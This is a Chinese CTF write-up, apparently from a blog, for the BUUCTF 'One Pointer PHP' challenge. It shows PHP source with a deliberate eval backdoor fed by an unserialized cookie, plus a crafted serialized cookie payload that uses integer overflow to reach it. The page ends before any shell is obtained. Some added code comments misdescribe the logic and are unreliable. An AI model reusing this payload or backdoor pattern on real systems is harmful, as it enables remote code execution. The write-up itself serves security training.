100 ,【8】 buuctf web [蓝帽杯 2021]One Pointer PHP(别看)

进入靶场

没提示,去看源代码。

user.php

php 复制代码
<?php
// 定义一个名为 User 的类,该类可用于表示用户相关信息或执行与用户有关的操作
class User{
    // 声明一个公共属性 $count,可在类的内部和外部直接访问
    // 这个属性可能用于记录与用户相关的某种数量,比如用户的操作次数、用户拥有的物品数量等
    public $count;
}
?>

add_api.php

php 复制代码
<?php
// 包含 "user.php" 文件,该文件中可能定义了 User 类或其他相关代码
// 包含文件后,当前脚本就可以使用该文件中定义的类、函数、变量等
include "user.php";

// 从 $_COOKIE 超全局数组中获取名为 "data" 的 cookie 值,并尝试对其进行反序列化操作
// 反序列化操作会将存储在 cookie 中的序列化对象恢复为 PHP 对象
// 如果反序列化成功,将结果赋值给 $user 变量,并进入 if 语句块
if($user = unserialize($_COOKIE["data"])){
    // 对 $user 对象的 count 属性进行自增操作,然后将 $count 数组的对应索引位置赋值为 1
    // 例如,如果 $user->count 初始值为 1,自增后为 2,那么 $count[2] = 1
    $count[++$user->count] = 1;

    // 这里存在语法错误,正确的应该是 if ($count[] = 1) 这种写法不符合正常逻辑
    // 可能本意是检查某个条件,但这样的赋值操作结果总是为 1(在 PHP 中赋值表达式的值为所赋的值),条件恒为真
    // 暂且按代码逻辑理解,若这个条件成立
    if($count[] = 1){
        // 将 $user 对象的 count 属性再加 1
        $user->count += 1;
        // 将更新后的 $user 对象进行序列化操作,将其转换为字符串形式
        // 然后使用 setcookie 函数将序列化后的字符串存储到名为 "data" 的 cookie 中
        setcookie("data", serialize($user));
    } else {
        // 如果上述条件不成立(实际上由于赋值操作,这里永远不会执行)
        // 使用 eval 函数执行从 GET 请求中获取的名为 "backdoor" 的参数值
        // 这是非常危险的操作,因为用户可以通过 GET 请求传入恶意代码,从而导致任意代码执行漏洞
        eval($_GET["backdoor"]);
    }
} else {
    // 如果反序列化失败,说明 cookie 中存储的数据不是有效的序列化对象或者 cookie 不存在
    // 创建一个新的 User 类的实例
    $user = new User;
    // 将新创建的 $user 对象的 count 属性初始化为 1
    $user->count = 1;
    // 将新创建的 $user 对象进行序列化操作,然后存储到名为 "data" 的 cookie 中
    setcookie("data", serialize($user));
}
?>

如下代码

给与了我们进行任意代码执行漏洞的条件

即设置count为9223372036854775806

php 复制代码
<?php
    class User
    {
        public $count=9223372036854775806;
    }
    echo serialize(new User);
?>
复制代码
O:4:"User":1:{s:5:"count";i:9223372036854775806;} 

忘记进行url编码了

php 复制代码
<?php

class User{
	public $count=9223372036854775806;
}
echo urlencode(serialize(new User()));
?>

cookie 添加为以下内容

data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

大概这样改cookie

到这块就需要蚁剑连接了,我的蚁剑有问题,最近还没好

先帝创业未半而开局崩殂

相关推荐
R-G-B1 小时前
【02】C#入门到精通——C# 变量、输入/输出、类型转换
开发语言·c#·c# 变量·c#输入/输出·c#类型转换
星河队长1 小时前
C# 软件加密方法,有使用时间限制,同时要防止拷贝
开发语言·c#
史迪奇_xxx1 小时前
10、一个简易 vector:C++ 模板与 STL
java·开发语言·c++
2301_801252221 小时前
Java中的反射
java·开发语言
Kiri霧1 小时前
Rust开发环境搭建
开发语言·后端·rust
weixin-a153003083161 小时前
[数据抓取-1]beautifulsoup
开发语言·python·beautifulsoup
小杨同学yx2 小时前
有关maven的一些知识点
java·开发语言
重生之我要当java大帝3 小时前
java微服务-尚医通-编写医院设置接口下
java·开发语言·sql
寻找华年的锦瑟3 小时前
Qt-QDir
开发语言·qt
小妖6663 小时前
vscode 怎么运行 c++ 文件
开发语言·c++